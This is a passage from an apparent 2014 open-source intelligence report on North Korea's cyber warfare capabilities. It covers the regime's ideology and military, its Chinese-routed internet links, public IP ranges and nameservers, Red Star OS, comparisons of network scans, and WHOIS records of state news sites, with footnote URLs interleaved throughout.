Forces Korea, North Korean hackers have successfully penetrated U.S. defense networks more frequently than any other country that has targeted U.S. defense assets.7 While Major Sin may have been overly optimistic about North Koreas abilities, it is clear that they should not be underestimated.
Frank Cilluffo, co-director of the Cyber Center for National and Economic Security at George Washington University, testified before Congress that North Koreas cyber capability poses an important wild card threat, not only to the United States but also to the region and broader international stability8 In an April 2014 testimony given to the House Armed Services Committee, General Curtis M. Scaparrotti noted that North Korea remains a significant threat to United States interests, the security of South Korea, and the international community due to its willingness to use force, its continued development and proliferation of nuclear weapon and long- range ballistic missile programs, and its abuse of its citizens human rights, as well as the legitimate interests of its neighbors and the international community.
Scaparrotti stressed that While North Koreas massive conventional forces have been declining due to aging and lack of resourcesNorth Korea is emphasizing the development of its asymmetric capabilities.
North 1 http://thecable.foreignpolicy.com/posts/2010/05/25/why_the_state_department_wont_put_north_korea_back_on_the_terror_list 2 http://www.sanctionswiki.org/North_Korea 3 https://www.fas.org/irp/offdocs/eo/eo-13551.pdf 4 http://www.foxnews.com/world/2012/04/17/un-computer-shipment-to-north-korean-regime-violates-us-manufacturers-ban/ 5 http://www.state.gov/strategictrade/overview/ 6 http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf 7 http://www.nextgov.com/defense/whats-brewin/2009/07/north-koreas-hackers-in-a-luxury-hotel/51330/ 8 http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/3 Koreas asymmetric arsenal includesan active cyber warfare capability.9 While one would expect the regimes digital infrastructure to also suffer from aging or lack of resources, these factors do not take away from their technical abilities to wage cyber warfare.
While the U.S. views North Koreas cyber warfare program as the regimes foray into modern asymmetrical warfare, South Korea views the regimes cyber capabilities as a terroristic threat, -a build-up for an impending multifaceted attack.
It is important to note that, to date, no such attack has occurred.
According to a report written by Captain Duk-Ki Kim, Republic of Korea Navy officer and Ph.D. the North Korean regime will first conduct a simultaneous and multifarious cyber offensive on the Republic of Koreas society and basic infrastructure, government agencies, and major military command centers while at the same time suppressing the ROK government and its domestic allies and supporters with nuclear weapons.10  South Koreas view of North Korea as a terroristic threat may be an attempt to downgrade North Korea politically, since South Korea does not recognize the regime as a legitimate state.11 South Korean reports also claim that North Koreas premier hacking unit, Unit 121, trails Russia and the U.S. as the worlds third largest cyber unit.
12  While this claim may be exaggerated, in 2012, South Korean reports estimated North Koreas hacker forces at around 3000 personnel.
In a July 2014 report from South Koreas Yonhap News Agency, that figure was upgraded to 5900 hacker elite.13 We must stress that although these claims have not been corroborated, South Korea has taken the regimes cyber threats very seriously and is reportedly training 5000 personnel to defend against North Korean cyber attacks.14 Obtaining details on North Koreas cyber warfare capabilities is not an easy task.
This paper will examine the known cyber capabilities of North Koreas regime and how the country maintains secrecy in these matters.
Through information obtained via open source intelligence (OSINT), we will present what is known about North Koreas cyber warfare and supporting intelligence and psychological operations capabilities.
Research roadblocks The following conditions proved to be research roadblocks when gathering intelligence regarding North Koreas cyber warfare capabilities: Much of the intelligence available on North Korea is dated and may not accurately reflect the regimes current capabilities.
Much of the intelligence available on North Korea comes from U.S. or South Korean military or agency reports.
These reports omit details that are likely classified, such as specific IP addresses and individual actor information.
While South Korea is an ally of the United States, its reports on North Korean cyber activity potentially contain incomplete or biased information.
Cultural factors that stem 9 http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf 10 https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg 11 http://www.atimes.com/atimes/Korea/GA04Dg01.html 12 http://www.koreaherald.com/view.php?ud20130321000980 13 http://www.theregister.co.uk/2014/07/07/north_korea_employs_6000_leet_hackers_source_claims/ 14 http://www.theregister.co.uk/2014/07/07/north_korea_employs_6000_leet_hackers_source_claims/ from a history of tension and conflict between the two nations may skew perception and make objectivity difficult.
15 16 North Koreas Internet infrastructure and the regimes strict control over its use ensures that there are no rogue actors and that all officially sanctioned actors exercise careful OPSEC and PERSEC practices in order to prevent inadvertent information leaks.
In other words, there was no significant identifying information in the form of an OSINT trail left behind by the actors.
This hinders collection of original, actionable threat intelligence and individual actor attribution.
North Korea is well-isolated from the outside world, and its strong intelligence and psychological operations presence effectively creates confusion via counterintelligence and disinformation about the regimes capabilities.17 For this reason, any official reports emanating from North Korea must be taken with a grain of salt.
This also hinders attempts to obtain original, actionable threat intelligence.
Ideological and political context In order for Westerners to understand the North Korean mindset, it is necessary to examine the key components of North Korean political and ideological thought.
It is also necessary to provide a brief explanation of how North Korea and South Korea view one another, in order to understand the basis for conflict between the two.
Juche and Songun North Korea has two primary ideologies that provide context for the regimes motivations and activities: juche (ju-cheh) and songun (sun-goon).
Juche is the official political ideology of North Korea.
It was instituted in 1972 and is based on the ideologies of Kim Il-Sung, the founder of the DPRK.
Juche emphasizes self-reliance, mastering revolution and reconstruction in ones own country, being independent of others, displaying ones strengths, defending oneself, and taking responsibility for solving ones own problems.
North Koreas air-gapped intranet, described below, exemplifies this philosophy in the countrys cyber infrastructure.
The juche philosophy explains North Koreas disdain for outside cultural and political influence.
Juche challenges North Koreans to contribute to the regimes chaju (ja-ju), a concept of national sovereignty and independence.18 The regimes greatest fear is internal dissent and resulting destabilization.19 20  In a June 2014 Reddit AMA session, Dr. Andrei Lankov, an expert on North Korean culture and society, noted there are also serious signs of public alienation and discontent.
And I cannot rule out a public outbreak of such discontent in the near future.
Of course, if it happens, it will have a serious impact on the government.21  Despite North Koreas strong conviction in juche, the regime collaborates with and receives support from other nations.
However, due to this deep-seated 15 http://www.businessinsider.com/did-kim-jong-un-execute-his-ex-girlfriend-2013-8 16 http://www.telegraph.co.uk/news/worldnews/asia/northkorea/10554198/North-Koreas-invisible-phone-killer-dogs-and-other-such-stories- why-the-world-is-transfixed.html 17 http://edition.cnn.com/2014/04/01/world/north-korea-provocation/index.html?iidarticle_sidebar 18 http://www.stanford.edu/group/sjeaa/journal3/korea1.pdf 19 http://belfercenter.ksg.harvard.edu/publication/20269/keeping_kim.html 20 http://www.buzzfeed.com/miriamberger/the-world-as-viewed-by-north-koreas-propaganda-machine 21 http://www.reddit.com/r/NorthKoreaNews/comments/296ryd/i_am_dr_andrei_lankov_i_studied_in_north_korea/ ideology, it is doubtful that North Korea fully trusts these apparent allies.22 Later in this document, we will show that North Korea relies heavily on China for Internet access.
North Korea also collaborates with China and Russia to train its cyber warriors and has longstanding political and military relationships with several nations.
Songun is North Koreas military first doctrine.
Songun emphasizes the priority of the military in resource allocation and political and economic affairs.
23 This doctrine stems from the belief that the military is vital for preservation of chaju.24  Understanding songun mindset gives context for this potential threat actors motivations.
According to a 2013 Congressional report, the strategy established under former leader Kim Jong-Il focused on internal security, coercive diplomacy to compel acceptance of its diplomatic, economic and security interests, development of strategic military capabilities to deter external attack, and challenging South Korea and the U.S.-South Korean alliance.25 North Koreas songun permeates the lives of all North Korean citizens.
Article 58 of the North Korean Constitution states that the nation should base itself on a nationwide defense system that includes all people.26 North Korea, with a population of 25 million, has an active duty force of 1.19 million personnel, the fourth largest in the world.
The countrys reserve and paramilitary units comprise 7.7 million additional personnel.27 In other words, over a third of the countrys population serves in a military or paramilitary capacity.
Some North Korean youth aged 7-13 are inducted into the Korean Childrens Union.
The Korean Childrens Union is responsible for indoctrinating youths who pledge to build up their strength to later defend the regime.28 22 http://www.defense.gov/pubs/ReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdf 23 http://www.strategicstudiesinstitute.army.mil/pdffiles/pub728.pdf 24 http://www.iar-gwu.org/sites/default/files/articlepdfs/DeRochie_-_The_Driving_Factor.pdf 25 http://www.defense.gov/news/newsarticle.aspx?id119924 26 http://asiamatters.blogspot.co.uk/2009/10/north-korean-constitution-april-2009.html 27 http://edition.cnn.com/video/data/2.0/video/international/2014/04/29/north-korea-military-numbers.cnn.html 28 http://www.dailymail.co.uk/news/article-2307937/North-Korea-Haunting-images-indoctrination-ceremony-communist-cult-leaders-threatening- nuclear-war-poisoning-generation.html?ITO1490ns_mchannelrssns_campaign1490 Songun is North Koreas military first doctrine.
Songun emphasizes the priority of the military in resource allocation and political and economic affairs.
Understanding this mindset gives context for a potential threat actors motivations.
http://www.google.com/url?qhttp3A2F2Fwww.defense.gov2Fpubs2FReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdfsaDsntz1usgAFrqEzfhmQPPTuRKlcewmT2M5Oj7Xmg93Q Figure 1 A group of North Korean children being inducted into the Korean Childrens Union.29 Figure 2 Members of the Korean Childrens Union with the regimes leader Kim Jong Un.30 29 http://www.dailymail.co.uk/news/article-2307937/North-Korea-Haunting-images-indoctrination-ceremony-communist-cult-leaders-threatening- nuclear-war-poisoning-generation.html?ITO1490ns_mchannelrssns_campaign1490 Children aged 14-16 can begin military training as members of the Young Red Guards, a paramilitary unit.
Beginning at age 17, North Koreans are eligible to join the Reserve Military Training Unit.31 The Reserve Military Training Unit forms the core of North Koreas reserves and is typically assigned to the front or regional defense in wartime.32 The youngest age at which a citizen can be conscripted for active duty is unclear reported ages range from 18-20.
Youths can volunteer for active duty service at age 16 or 17.33 The Worker-Peasant Militia, or Red Guards, includes males ages 17-60 and unmarried females ages 17-30 who are not part of active duty units or the Reserve Military Training Unit.34 The regime has an impressive number of conventional weapons, considering the nations small land area and population size.35 According to statistics released by CNN in 2014, North Koreas ground arsenal includes 4100 tanks, 2100 armored vehicles, and 8500 pieces of field artillery.
The regimes sea weaponry includes 70 submarines, 420 patrol combatants, and 260 amphibious landing craft.
Their airpower includes 730 combat aircraft, 300 helicopters, and 290 transport aircraft.
While the limits of the regimes ballistic missile program are unknown, North Korea is thought to have fewer than 100 short-range missiles and fewer than 100 medium to long-range missiles.36 However, in recent years, North Korea has suffered oil,37 fuel,38 electricity,39 and food40 shortages.
Without aid from another entity, the regime does not have sufficient resources to maintain and sustain the majority of its weapons and associated personnel for rapid deployment or prolonged combat.
Tension and change on the Korean Peninsula Tension between North and South Korea has continued well past the armistice meant to end the Korean War.
Neither nation recognizes the other as a legitimate state.
South Koreas constitution legally defines South Korean territory as the entire Korean peninsula and its adjacent islands, with North Korea being a part of South Korea.
41 North Korea also claims to be the sole government of the Korean Peninsula.42 Each countrys claim of sovereignty and refusal to acknowledge the other as a legitimate state creates the condition for perpetual conflict.
North Koreas negative sentiment towards the U.S. stems from two major factors: the U.S.  South Korea military alliance and North Koreas perception that the U.S. is imperialistic and prone to exploitative capitalism.43 30 http://www.dailymail.co.uk/news/article-2307937/North-Korea-Haunting-images-indoctrination-ceremony-communist-cult-leaders-threatening- nuclear-war-poisoning-generation.html?ITO1490ns_mchannelrssns_campaign1490 31 http://www.globalsecurity.org/military/world/dprk/army.htm 32 http://www.globalsecurity.org/military/world/dprk/army.htm 33 https://www.google.com/url?satrctjqesrcssourcewebcd6ved0CFkQFjAFurlhttp3A2F2Fwww.child- soldiers.org2Fuser_uploads2Fpdf2Fkoreademocraticpeoplesrepublicof2639438.pdfeifcyIU_uqCMas0QXUk4DoCwusgAFQjCNGOnkQt5ZStqxfc tKrUY-5IWYSH0Asig2ivQLF6lHkSO8Yx9O9VlO4gbvmbv.67720277,d.d2kcadrja 34 http://www.globalsecurity.org/military/world/dprk/army.htm 35 http://www.globalfirepower.com/ 36 http://edition.cnn.com/video/data/2.0/video/international/2014/04/29/north-korea-military-numbers.cnn.html 37 http://www.presstv.com/detail/2013/04/23/299897/facing-food-and-oil-shortages-north-korea-turns-to-iran/ 38 http://english.chosun.com/site/data/html_dir/2014/07/02/2014070201995.html 39 http://www.rfa.org/english/news/korea/electricity-10212013160033.html 40 http://edition.cnn.com/2013/04/09/business/north-korea-economy-explainer/ 41 http://www.atimes.com/atimes/Korea/GA04Dg01.html 42 http://teacher.scholastic.com/scholasticnews/indepth/north_korea/north-south/index.asp?articlenorth_korea 43 http://cns.miis.edu/other/pinkston_strategic_insights_sep06.pdf In recent years, two primary factors have heavily influenced the current state of North Koreas relations with South Korea and her allies: the rise of the regimes leader Kim Jong Un and the inauguration of South Korean president Park Guen Hye.
Kim Jong Un officially rose to power in April 2012, following the death of his father Kim Jong Il in December 2011.
While his age remained a mystery for quite some time, it was later revealed that he was born in January 1983, making him age 31 at present.
This makes Kim Jong Un the worlds youngest leader of an established nation.44 The young leaders rise to power brought about several changes in North Korea.
First, Kim Jong Uns personal life is more public and more extravagant than that of his father.
Unlike his father, the young Kim is often accompanied by his wife when making public appearances.45 Second, the young Kim, who is more high-tech than his predecessor, is reported to have an affinity for luxury items46 and is an avid gamer and basketball fan.47 Third, Kim Jong Un is more totalitarian than his father.
Following his rise to power, the regime reportedly expanded its labor camps, and more military resources were allocated to target those attempting to defect.
Kim also executed his own uncle, a high-ranking official who did not share his ideals.
These moves indicate the regimes priority to deter internal destabilization and dissent, which is perceived to be a greater threat than outside adversity.
According to Phil Robertson, deputy Asia director at Human Rights Watch, The government now recognizes that the accounts of escaping North Koreans reveal Pyongyangs crimes  so it is doing what it can to stop people from fleeing.48 Under Kim Jong Uns rule, the regime has stepped up its nuclear materials production, and the propaganda distributed by state media has become more menacing.49 The regimes response to perceived threats has also become more volatile.
Christian Whiton, a former deputy envoy to North Korea, noted that following Kim Jong Uns rise to power, the regime still acts in a very belligerent manner, but it seems less predictable, and more random.
Ellen Kim, assistant director of the Korea Chair at the Center for Strategic and International Studies, assessed the situation thusly: Since [Kim Jong Un] took power he has purged almost all of his elder guardians ... and filled his surroundings with new faces.
We are in a situation where we are learning about him a little bit every day through his unpredictable behavior and actions, which is why the current situation with North Korea is a lot more dangerous than before.50 The regimes recent reaction to an upcoming film supports these statements.
The plot for the comedy film The Interview follows two talk show hosts who are asked to assassinate Kim Jong Un.
The regime even sent a complaint about the movie to the UN.51  In response to the film, a North Korean official stated, The enemies have gone beyond the tolerance limit in their despicable moves to dare hurt the dignity of the supreme leadership.
The official referred to the movie as the most undisguised terrorism and a war action to deprive the service personnel and people of the DPRK of their mental mainstay and bring down its social system.
The official also issued a threat: If the U.S. administration connives at and patronizes the screening of the film, it will invite a strong and merciless countermeasure.52 This reaction demonstrates North Koreas priority of preserving the 44 http://www.theatlantic.com/international/archive/2012/12/kim-jong-uns-age-is-no-longer-a-mystery/265983/ 45 http://www.telegraph.co.uk/news/worldnews/asia/northkorea/10522136/Kim-Jong-un-10-ways-North-Koreas-Dear-Leader-is-different.html 46 http://www.huffingtonpost.com/2014/02/18/north-korea-luxury-goods_n_4808823.html 47 http://nypost.com/2011/12/20/kims-007-nut-kid-in-charge/ 48 http://www.hrw.org/news/2014/01/21/north-korea-kim-jong-un-deepens-abusive-rule 49 http://www.telegraph.co.uk/news/worldnews/asia/northkorea/10522136/Kim-Jong-un-10-ways-North-Koreas-Dear-Leader-is-different.html 50 http://edition.cnn.com/2014/04/01/world/north-korea-provocation/index.html?iidarticle_sidebar 51 http://www.northkoreatech.org/2014/07/10/dprk-takes-the-interview-movie-complaint-to-the-un/ 52 http://edition.cnn.com/2014/06/25/world/asia/north-korea-the-interview-reaction/index.html?iidarticle_sidebar regimes self-perceived dignity in the global arena and its intolerance of any disrespect directed at the Kim family.
While tensions between North and South Korea have persisted since the Korean War, these tensions escalated following the 2013 inauguration of South Koreas current president, Park Geun Hye.
Her platform, in her words, is as follows: North Korea must keep its agreements made with South Korea and the international community to establish a minimum level of trust, and second there must be assured consequences for actions that breach the peace.
To ensure stability, trustpolitik should be applied consistently from issue to issue based on verifiable actions, and steps should not be taken for mere political expediency.53 Shortly after Parks inauguration, North Korea denounced UN Security Council Resolution 2094, which is a resolution strengthening and expanding the scope of United Nations sanctions against the Democratic Peoples Republic of Korea by targeting the illicit activities of diplomatic personnel, transfers of bulk cash, and the countrys banking relationships, in response to that countrys third nuclear test on 12 February [2013].54  North Korea also responded strongly to joint U.S.-South Korea military exercises in March 2013, as is noted later in this paper.55 North Korean cyber capabilities and limitations North Korean infrastructure North Koreas cyber infrastructure is divided into two major parts: an outward-facing Internet connection and a regime-controlled intranet.
North Koreas outward-facing Internet connection is only available to select individuals and is closely monitored for any activity that is deemed anti- regime.
Individuals using the outward-facing Internet connection must be authorized.
In 2013, Jean H. Lee, the Associated Press bureau chief in Pyongyang, stated that foreigners visiting North Korea are allowed Internet access with no firewalls.56  Common citizens are limited to using the Kwangmyong (gwang me-young), a nationwide intranet with no access to the world outside North Korea.
57 According to Lee, Kwangmyong allows citizens access to the state media, information sources that are vetted by the government, and picked and pulled from the Internet and posted to their intranet site.58 As of May 2013, North Korea had only one Internet caf.59 A 2003 report from the Office of the National Counterintelligence Executive stated that North Koreas Internet caf was the only place in North Korea for the public to access the Internet and that foreigners were allowed to access the Internet from this caf.60 Whether citizens are allowed to access the Internet from this location is unknown.
Star Joint Venture Co. is responsible for providing North Koreas Internet access.
Star Joint Venture Co. was established by the Post and Telecommunications Corporation in cooperation with Loxley 53 http://www.ncnk.org/resources/briefing-papers/all-briefing-papers/an-overview-of-south-korea2019s-dprk-policy 54 http://www.un.org/News/Press/docs/2013/sc10934.doc.htm 55 http://www.ncnk.org/resources/briefing-papers/all-briefing-papers/an-overview-of-south-korea2019s-dprk-policy 56 http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/ 57 http://www.computerworld.com/s/article/9177968/North_Korea_moves_quietly_onto_the_Internet?taxonomyId18pageNumber2 58 http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/ 59 http://www.washingtonpost.com/blogs/worldviews/wp/2013/01/29/north-koreans-shouldnt-count-on-using-the-new-google-maps/ 60 http://www.ncix.gov/publications/archives/docs/NORTH_KOREA_AND_FOREIGN_IT.pdf Pacific in Thailand.61 In December 2009, Star Joint Venture became responsible for North Koreas Internet address allocation.
Previously, Internet access was provided by a German satellite link via Korea Computer Center Europe or via direct connections with China Netcom, which was later merged into China Unicom.
62 By October 2010, North Korea had made its first known direct connection to the Internet, hosting an outward-facing Korean Central News Agency website accessible from the global Internet.
63 However, many of North Koreas globally accessible websites are hosted in other countries.
In 2001, South Korean reports indicated that North Korea had joined the International Telecommunications Satellite Organization (INTELSAT).64 As of April 2012, North Korea reportedly used the Intelsat connection, which appeared in border gateway protocol (BGP) announcements.65 Some reports referred to the Intelsat connection as North Koreas backup Internet connection, in case the China Unicom connection fails.66 A March 2013 post on the blog rdns.im showed that North Korea no longer used the Intelsat connection.
In the blog post, the author noted his method for proving that The Pirate Bay was not hosted in North Korea.
While his analysis of The Pirate Bays hosting is irrelevant to our research, he did detail that 175.45.177.0/24 always routes through AS4837, and AS131279.
AS131279 is Star-KP, North Koreas Star Joint Venture Company, and AS4837 is China Unicom.
The author concluded that all [traffic] is ONLY routed through China Unicom and NOT through Intelsat.67 In February 2014, North Korean and South Korean officials agreed to extend Internet access to Kaesong Industrial Zone, a jointly operated industrial complex just north of the border.
However, this would likely require a major electrical and network infrastructure expansion.68 North Koreas electrical grid cannot support a large technological infrastructure.69  Electrical power is reported to be unreliable and sporadic, with many citizens only receiving a few hours of electricity per day.70 61 http://www.northkoreatech.org/2011/05/19/more-details-on-star-joint-venture/ 62 http://www.computerworld.com/s/article/9177968/North_Korea_moves_quietly_onto_the_Internet?taxonomyId18pageNumber2 63 http://www.northkoreatech.org/2010/10/09/the-new-face-of-kcna/ 64 http://webcache.googleusercontent.com/search?qcache:http://english.chosun.com/site/data/html_dir/2001/05/29/2001052961197.html 65 http://www.northkoreatech.org/2012/04/08/dprk-gets-second-link-to-internet/ 66 http://www.computerworld.com/s/article/9237652/North_Korea_39_s_Internet_returns_after_36_hour_outage 67 https://rdns.im/the-pirate-bay-north-korean-hosting-no-its-fake-p2 68 http://www.northkoreatech.org/2014/02/10/internet-coming-to-kaesong-industrial-zone/ 69 http://38north.org/2010/09/speak-loudly-and-carry-a-small-stick-the-north-korean-cyber-menace/ 70 http://www.usnews.com/news/blogs/rick-newman/2013/04/12/heres-how-lousy-life-is-in-north-korea Figure 3 North and South Korean power grid The photo above (Figure 3), from the International Space Station, shows North Koreas sparse power grid, in comparison with surrounding nations.71 We have highlighted North Korea in red.
Koryolink, the countrys only cellular phone network,72 is tightly controlled by the regime.73 Cell phone data plans are not available to most users.
Most cellular phones cannot access the Internet and can only make domestic calls.74 According to a 2013 report, North Korea has a 3G data network for cellular phones.
Visiting reporter Jean H. Lee purportedly used this 3G network to post to both Twitter and Instagram.
However, citizens are not generally allowed to use the 3G network.75 Email is also regulated by the regime.
The first email provider in North Korea was Silibank.
Silibank has servers in Pyongyong and Shenyang and is a joint venture with China.
The North Korean Silibank homepage is silibank.net, and the Chinese homepage is silibank.com.
In order to use the email service, users had to initially register, provide personal information, and pay a registration fee and monthly service fees.76 This registration information was current as of 2001.
However, it is unknown whether the same process still applies.
WHOIS records for silibank.net show that the site was registered anonymously via a Japanese registrar.
This information can be found in Appendix A at the end of this paper.
71 http://www.citylab.com/work/2014/02/north-korea-night-looks-big-black-hole/8484/ 72 http://www.northkoreatech.org/2014/06/24/chinese-shops-offer-cheap-cellphones-to-north-koreans/ 73 http://www.defense.gov/pubs/ReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdf 74 http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf 75 http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/ 76 http://edition.cnn.com/2001/TECH/internet/11/07/north.korea.email.idg/index.html http://www.google.com/url?qhttp3A2F2Fwww.defense.gov2Fpubs2FReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdfsaDsntz1usgAFrqEzfhmQPPTuRKlcewmT2M5Oj7Xmg93Q http://www.google.com/url?qhttp3A2F2Fwww.defense.gov2Fpubs2FNorth_Korea_Military_Power_Report_2013-2014.pdfsaDsntz1usgAFrqEzefeAB_L1WH_8cmtox2f9Se3GMojQ Korea Computer Center (KCC) is North Koreas leading government research center for information technology.
KCC has eleven regional information centers and eight development and production centers.
Other countries with KCC branch offices include China, Syria, Germany, and United Arab Emirates.
KCC has a vested interest in Linux research and is responsible for the development of North Koreas national operating system, Red Star OS, which is discussed in more detail below.
KCCs other projects have included a proprietary search engine, a document writer, a game called Jang-Gi, the Kwangmyong intranet, a food study program, a Korean input method editor, a pen-based English-Korean and Korean-English translator, Korean voice recognition software, a video conferencing system, a distance education system, SilverStar Paduk software, HMS Player77, and the Samjiyon tablet.
78 In addition to research and development, KCC also monitors websites of foreign government and business entities and conducts technical reconnaissance to blueprint the technical specifications and vulnerabilities in foreign systems and technologies.
KCC has also been involved in clandestine information and cyber operations, serving as a command center.79 North Koreas proprietary operating system is Red Star OS.
The development of this Linux-based operating system started in 2002.
Red Star OS is only offered in the Korean language and features proprietary software including Naenara (a Firefox-based browser), as well as a text editor, email client, audio and video players, and games.80 Red Star OSs keyboard layouts include Korean, English, Russian, Chinese, and Japanese.
Regime ideals extend to Red Star OS.
The readme file, which goes with the installation disc, reportedly includes a quote from Kim Jong-Il regarding the importance of North Korea having its own Linux-based operating system that is compatible with Korean traditions.
While prior versions of Red Star were KDE-based, version 3.0 mimics Apples OS X.81 82 This could indicate the regime leader Kim Jong Uns preference for the OS X environment, as Kim reportedly uses an iMac.83 Citizens do not need permission to obtain Red Star OS.
However, the purchase of computers is heavily regulated.84 The OSs design suggests it was developed with means for the regime to monitor user activity.85 North Korea is known to use two IP ranges.
175.45.176.0/22 is North Koreas own IP block.86 Additionally, North Koreas Telecommunications Ministry is the registered user of China Unicom IP range 210.52.109.0/24.87 The countrys only autonomous system (AS) number is AS131279, and its only peer is AS4837, the AS for China Unicom.88 North Koreas country code top-level domain (ccTLD) is .kp.
In 2007, the .kp TLD was initially delegated to and administered by the German-based KCC Europe.89 After KCC Europe failed to 77 http://www.naenara.com.kp/en/kcc/ 78 http://www.northkoreatech.org/2012/09/28/samjiyon-android-tablet-debuts-at-pyongyang-trade-fair/ 79 http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf 80 http://ashen-rus.livejournal.com/4300.html 81 http://news.bbc.co.uk/2/hi/technology/8604912.stm 82 http://www.arnnet.com.au/article/537360/north_korea_goes_osx-like_new_operating_system/ 83 http://www.businessinsider.com/brand-new-photo-confirms-that-kim-jong-un-is-a-mac-user-2013-3 84 http://rt.com/news/north-korea-cyber-weapon/ 85 http://news.bbc.co.uk/2/hi/technology/8604912.stm 86 http://binarycore.org/2012/05/29/investigating-north-koreas-netblock-part-2-dns/ 87 https://www.northkoreatech.org/2011/06/26/north-koreas-chinese-ip-addresses/ 88 http://binarycore.org/2012/05/29/investigating-north-koreas-netblock-part-2-dns/ 89 http://www.northkoreatech.org/2011/05/19/kp-domain-switch-came-after-kcc-europe-disappeared/ maintain the TLD, it was re-delegated to Star Joint Venture Company.90 The .kp TLD uses the following nameservers and IP addresses:91 Nameserver IP Address ns1.kptc.kp 175.45.176.15 ns2.kptc.kp 175.45.176.16 ns3.kptc.kp 175.45.178.173 Various U.S., U.N, and other sanctions prohibit export of dual-use technologies to North Korea.
In light of this, North Korea has managed to develop both hardware and software and hosts an annual National Exhibition of Invention and New Technologies to promote its products.92 However, the regime has historically failed in its attempts at large-scale production of electronic components.
The countrys sparse electrical grid is one of the major obstacles hindering large- scale manufacturing.93 Additionally, the famine in the early 1990s negatively impacted existing manufacturing facilities, and the regime simply does not have the capital to modernize those factories.94 A member of the World International Property Organization (WIPO), North Korea joined the WIPO Patent Cooperation Treaty that protects patents and trademarks worldwide, and leverages intellectual property laws to ensure Westerners do not take credit for North Korean inventions.95 The regime, in its efforts to isolate its citizens from Western influence, leverages intellectual property laws to ensure Westerners do not take credit for North Korean inventions.96 This is ironic since foreign-made electronic components are sometimes smuggled into North Korea for military use and for personal use by the regimes upper echelon.
An analysis of developments in North Korean cyberspace since 2010 A comparison of a scan97 of North Koreas IP ranges in November 2010, just one month after North Korea made its first direct connection to the Internet, and a series of several scans we conducted in May 2014, shows that North Korea has made significant headway in establishing its Internet presence.
In the November 2010 scan, 175.45.176.0 - 175.45.176.16 showed a variety of devices including D-link, Cisco, Linksys, HP, and Nokia devices, and a Juniper networks firewall.
Operating systems detected included FreeBSD 6.x, Linux 2.6.x, and Red Hat Enterprise Linux.
175.45.176.14 returned Naenara as an html-title.
Most hosts in the 175.45.176.xx and 175.45.177.xx ranges were down.
As of 2014, IP addresses 175.45.176.0 - 175.45.177.255 appear to be used for websites, nameservers, databases, email, and voice over IP (VoIP).
In November 2010, the 175.45.178.xx range showed all hosts down,98 and the 175.45.179.xx range showed most hosts were down.99 90 http://www.iana.org/reports/2011/kp-report-20110401.html 91 http://www.iana.org/domains/root/db/kp.html 92 http://yu.edu/admissions/events/yunmun/WIPO/Libenstein_WIPO_Topic1_HAHS.pdf 93 http://www.apcss.org/Publications/Edited20Volumes/BytesAndBullets/CH4.pdf 94 http://sinonk.com/2013/10/11/a-primer-on-north-koreas-economy-an-interview-with-andrei-lankov/ 95 http://yu.edu/admissions/events/yunmun/WIPO/Libenstein_WIPO_Topic1_HAHS.pdf 96 http://yu.edu/admissions/events/yunmun/WIPO/Libenstein_WIPO_Topic1_HAHS.pdf 97 http://webcache.googleusercontent.com/search?qcache:http://dprk.sipsik.net/175.45.178.txt 98 http://webcache.googleusercontent.com/search?qcache:http://dprk.sipsik.net/175.45.178.txt 99 http://webcache.googleusercontent.com/search?qcache:http://dprk.sipsik.net/175.45.179.txt In 2014, several webservers and nameservers were found in the 175.45.178.xx range, and several nameservers and mail servers were found in the 175.45.179.xx range.
This comparison demonstrates that there has been some growth in DPRK Internet infrastructure over the past four years.
However, it seemingly lags behind even most third world nations.
The 2014 scans detected dated technology that is potentially susceptible to multiple vulnerabilities and consistently showed the same open ports and active devices on scanned hosts.
It is not clear whether the regime failed to notice and react to the scanning or whether the regime allows these open ports and devices to be detected or spoofed to serve as a distraction or possible honeypot.
Domains, nameservers, and mail servers present during the May 2014 scan are listed in Appendix B at the end of this report.
According to Alexa rankings, the three most visited websites in North Korea are kcna.kp, the official website of the Korean Central News Agency (KCNA)100 rodong.rep.kp, another North Korean news site101 and naenara.com.kp, North Koreas official web portal.102 Naenara translates to my country.
The kcna.kp site was registered using a Loxley.co.th email address and is administrated by Star Joint Venture Company.
The WHOIS Record can be found in Appendix A.
100 http://dig.do/kcna.kp 101 http://dig.do/rodong.rep.kp 102 http://dig.do/naenara.com.kp Figure 4 A screenshot from the kcna.kp homepage.103 Rodong.rep.kp was registered using the same loxley.co.th email address and is also administered by Star Joint Venture Company.
The WHOIS Record for this site can be found in Appendix A.
103 http://kcna.kp/kcna.user.home.retrieveHomeInfoList.kcmsf Figure 5 A screenshot from the rodong.rep.kp homepage.104 The WHOIS information for Naenara.com.kp was not available.
104 http://rodong.rep.kp/ko/ Figure 6 A screenshot of the Naenara.com.kp  website.105 In March 2013, there were reports that the Chrome browser was blocking Naenara.com.kp due to malware.106 Figure 7 Screenshot of what visitors to Naenara.com.kp saw when using the Chrome browser.107 105 http://naenara.com.kp/en/ 106 http://www.nkeconwatch.com/2013/03/25/chrome-blocking-naenara/ 107 http://www.nkeconwatch.com/2013/03/25/chrome-blocking-naenara/ Figure 8 Screenshot detailing why Chrome blocked the site108 It is difficult to say whether this incident is a case of North Korea serving malware or whether a third party took advantage of an improperly secured website.
Several major North Korean websites are hosted outside of North Korea.
The popular Uriminzokkiri.com website, whose name translates to our nation, is hosted in China.
The administrative contact for the website is Kim Sejun, and the email address given as contact information is hyk1979hotmail.com.
The WHOIS Record for this site can be found in Appendix A.
